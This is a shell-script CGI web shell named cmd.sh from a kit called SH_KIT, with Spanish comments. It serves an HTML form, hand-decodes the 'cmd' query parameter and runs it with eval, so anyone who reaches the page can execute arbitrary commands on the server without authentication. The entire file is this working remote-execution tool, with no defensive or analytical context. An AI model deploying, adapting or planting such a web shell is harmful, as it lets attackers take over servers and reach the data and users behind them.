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executable file
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Copy pathcmd.sh
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executable file
·372 lines (321 loc) · 8.18 KB
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#!/bin/sh
#
# SH_KIT
#
# cmd.sh = Command Execution
#
# by: Ludoz
# modified: 23/04/2004
#
# Version 1.2 - 28/5/2003
#
###
###
### Configuracion
###
###
#
# sitios donde buscar ejecutables necesarios, sin la / posterior, separados por espacios
#
PATHS="/bin /usr/bin /sbin /usr/sbin /usr/local/bin /usr/local/sbin /usr/ucb /usr/libexec /tmp /usr/tmp /var/tmp ."
###
###
### La configuracion acaba aqui
###
###
#
# PATHs mas habituales de los 3 comandos base
#
TEST="/usr/bin/test"
BASENAME="/bin/basename"
DIRNAME="/usr/bin/dirname"
# compruebo TEST, BASENAME y DIRNAME y si estan mal intento encontrarlas en el path y sino en PATHS
if (eval $TEST \"1\" = \"1\" ); then
TEST=$TEST
else
for i in $PATHS ; do
TEST="$i/test"
if (eval $TEST \"1\" = \"1\" ); then
break
fi
done
if (eval $TEST \"1\" = \"1\" ); then
TEST=$TEST
else
TEST=test
if (eval $TEST \"1\" = \"1\" ); then
TEST=$TEST
else
TEST=""
echo ERROR: No he encontrado TEST en el sitio especificado ni en el path
echo
exit
fi
fi
fi
if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then
BASENAME=$BASENAME
else
for i in $PATHS ; do
BASENAME="$i/basename"
if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then
break
fi
done
if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then
BASENAME=$BASENAME
else
BASENAME=basename
if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then
BASENAME=$BASENAME
else
BASENAME=""
echo ERROR: No he encontrado BASENAME en el sitio especificado ni en el path
echo
exit
fi
fi
fi
if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then
DIRNAME=$DIRNAME
else
for i in $PATHS ; do
DIRNAME="$i/dirname"
if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then
break
fi
done
if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then
DIRNAME=$DIRNAME
else
DIRNAME=dirname
if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then
DIRNAME=$DIRNAME
else
DIRNAME=""
echo ERROR: No he encontrado DIRNAME en el sitio especificado ni en el path
echo
exit
fi
fi
fi
#echo "Info: TEST: $TEST"
#echo "Info: BASENAME: $BASENAME"
#echo "Info: DIRNAME: $DIRNAME"
if (eval $TEST -x \"/usr/bin/unalias\" ); then
# si existe el comando: unalias *
/usr/bin/unalias *
else
# si es interno: unalias -a
unalias -a
fi
#
# A partir de aqui deberia ser 100% multisistema
#
buscaexec ()
{
BUSCAEXECRES=""
if (eval $TEST -z \"$BUSCAEXECPAR\" ); then
return;
fi
if (eval $TEST -x \"$BUSCAEXECPAR\" ); then
BUSCAEXECRES=$BUSCAEXECPAR
return;
fi
BUSCAEXECPAR=`eval $BASENAME $BUSCAEXECPAR`
for i in $PATHS $PATH ; do
if (eval $TEST -x \"$i/$BUSCAEXECPAR\" ); then
BUSCAEXECRES="$i/$BUSCAEXECPAR"
break
fi
done
if (eval $TEST -n \"$BUSCAEXECRES\" ); then
return;
fi
if (eval $TEST -z \"$WHICH\" ); then
return;
fi
BUSCAEXECRES=`eval $WHICH $BUSCAEXECPAR`
if (eval $TEST -n \"$BUSCAEXECRES\" ); then
if (eval $TEST ! -x \"$BUSCAEXECRES\" ); then
BUSCAEXECRES=""
fi
fi
}
#
# Definicion de comandos concretos para el script
#
WHICH=""
BUSCAEXECPAR=/usr/bin/which
buscaexec
WHICH=$BUSCAEXECRES
if (eval $TEST -z \"$WHICH\" ) ; then
if (eval $TEST \"$TEST\" != \"test\" ) ; then
TESTCMD=$TEST
TESTRES="test"
elif (eval $TEST \"$BASENAME\" != \"basename\" ) ; then
TESTCMD=$BASENAME
TESTRES="basename"
elif (eval $TEST \"$BASEDIR\" != \"basedir\" ) ; then
TESTCMD=$BASEDIR
TESTRES="basename"
fi
if (eval $TEST -n \"$TESTCMD\"); then
OLDPATH=$PATH
TESTPATH="`eval $BASEDIR $TESTCMD`"
PATH="$TESTPATH:$PATH"
TESTPATH=""
PRUEBA="`eval $BASENAME \"\`which $TESTRES\`\" `"
if (eval $TEST \"$PRUEBA\" = \"TESTRES\" ) ; then
WHICH="`which which`"
else
WHICH=""
fi
PRUEBA=""
PATH=$OLDPATH
OLDPATH=""
TESTRES=""
TESTCMD=""
fi
fi
BUSCAEXECPAR=/bin/echo
buscaexec
ECHO=$BUSCAEXECRES
if (eval $TEST -z \"$ECHO\" ) ; then
ECHO=echo
fi
A="`eval $ECHO \"a\"`"
if (eval $TEST \"$A\" = \"a\" ) ; then
ECHO=$ECHO
else
ECHO=""
#nota mental: para que hago echo si echo no funciona!? :)
echo ERROR: No he encontrado ECHO en el sitio especificado ni en el path
echo
exit
fi
A=""
BUSCAEXECPAR=/bin/cut
buscaexec
CUT=$BUSCAEXECRES
BUSCAEXECPAR=/bin/sed
buscaexec
SED=$BUSCAEXECRES
BUSCAEXECPAR=/usr/bin/expr
buscaexec
EXPR=$BUSCAEXECRES
FORMULARIO="`eval $BASENAME $0`"
eval $ECHO \"Content-type: text/html\"
eval $ECHO
eval $ECHO \"\<html\>\<title\>CMD.SH\<\/title\>\<body\>\"
eval $ECHO \"\<p\>\<form method\=\\\"GET\\\" name\=\\\"myform\\\" action\=\\\"$FORMULARIO\\\"\>\<\/p\>\"
eval $ECHO \"\<input type\=\\\"text\\\" name\=\\\"cmd\\\"\>\"
eval $ECHO \"\<input type\=\\\"submit\\\" value\=\\\"Enviar\\\"\>\"
eval $ECHO \"\<pre\>\"
#
# La variable QUERYSTRING contiene la info que quiero
#
#echo QUERY_STRING=$QUERY_STRING
if (eval $TEST -n \"$QUERY_STRING\"); then
PARAM=`eval $ECHO \"$QUERY_STRING\" | $CUT \-d\= \-f2 | $SED \-e s\/\+\/\ \/g `
hex2dec()
{
if (eval $TEST \"$PARC\" \= \"0\" ); then
PARC="0"
elif (eval $TEST \"$PARC\" \= \"1\" ); then
PARC="1"
elif (eval $TEST \"$PARC\" \= \"2\" ); then
PARC="2"
elif (eval $TEST \"$PARC\" \= \"3\" ); then
PARC="3"
elif (eval $TEST \"$PARC\" \= \"4\" ); then
PARC="4"
elif (eval $TEST \"$PARC\" \= \"5\" ); then
PARC="5"
elif (eval $TEST \"$PARC\" \= \"6\" ); then
PARC="6"
elif (eval $TEST \"$PARC\" \= \"7\" ); then
PARC="7"
elif (eval $TEST \"$PARC\" \= \"8\" ); then
PARC="8"
elif (eval $TEST \"$PARC\" \= \"9\" ); then
PARC="9"
elif (eval $TEST \"$PARC\" \= \"a\" ); then
PARC="10"
elif (eval $TEST \"$PARC\" \= \"b\" ); then
PARC="11"
elif (eval $TEST \"$PARC\" \= \"c\" ); then
PARC="12"
elif (eval $TEST \"$PARC\" \= \"d\" ); then
PARC="13"
elif (eval $TEST \"$PARC\" \= \"e\" ); then
PARC="14"
elif (eval $TEST \"$PARC\" \= \"f\" ); then
PARC="15"
elif (eval $TEST \"$PARC\" \= \"A\" ); then
PARC="10"
elif (eval $TEST \"$PARC\" \= \"B\" ); then
PARC="11"
elif (eval $TEST \"$PARC\" \= \"C\" ); then
PARC="12"
elif (eval $TEST \"$PARC\" \= \"D\" ); then
PARC="13"
elif (eval $TEST \"$PARC\" \= \"E\" ); then
PARC="14"
elif (eval $TEST \"$PARC\" \= \"F\" ); then
PARC="15"
else
PARC="0"
fi
}
dec2ascii()
{
if (eval $TEST \"$PARC\" -eq \"0\"); then
PARC=""
elif (eval $TEST \"$PARC\" -lt \"32\"); then
PARC=""
elif (eval $TEST \"$PARC\" -eq \"34\"); then
PARC="\\\""
elif (eval $TEST \"$PARC\" -eq \"96\"); then
PARC="\`"
elif (eval $TEST \"$PARC\" -eq \"127\"); then
PARC=""
elif (eval $TEST \"$PARC\" -gt \"127\"); then
PARC=""
else
#aun no rulan todos los caracteres, los que faltan estan impresos en la linea inferior
# XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX " ` ?<- el resto se ignoran, son >128
PARC="`eval $ECHO \"123456789ABCDEF0123456789ABCDEF \!X#\$%\&\'\(\)\*+,\-.\/0123456789\:\;\<=\>\?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\\\]\^_Xabcdefghijklmnopqrstuvwxyz\{\\\|\}\~X0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF\" | $CUT \-b$PARC `"
# X: no printable, en la linea superior esta el caracter
# los 0123456789ABCDEF es para no descontarme poniendo X cuando habia muchas seguidas
# notese que el NULL no sale en el string
# notese que la " y la ` estan como X en el string pq estan tratadas a parte, no se pueden tratar por el eval este
# notese que los caracteres por debajo del 32 tampoco se tratan, y los mayores de 127 tampoco, aunque se pueden añadir... si tienes ganas ;) y los necesitas realmente
fi
}
TODO="$PARAM"
DONE=""
while (eval $TEST -n \"$TODO\" ); do
C=`eval $ECHO \"$TODO\" | $CUT \-b1 `
if (eval $TEST \"$C\" = \"\%\"); then
PARC="`eval $ECHO \"$TODO\" | $CUT \-b2 `"
hex2dec
C1="$PARC"
PARC="`eval $ECHO \"$TODO\" | $CUT \-b3 `"
hex2dec
C2="$PARC"
PARC="`eval $EXPR $C1 \\\* 16 \+ $C2`"
dec2ascii
C="$PARC"
TODO=`eval $ECHO \"$TODO\" | $CUT \-b4\- `
else
TODO=`eval $ECHO \"$TODO\" | $CUT \-b2\- `
fi
DONE="$DONE$C"
done
VALUE="$DONE"
eval $ECHO \"\\\$ $VALUE\"
eval $VALUE
fi
eval $ECHO \"\<\/pre\>\<\/body\>\<\/html\>\"
exit
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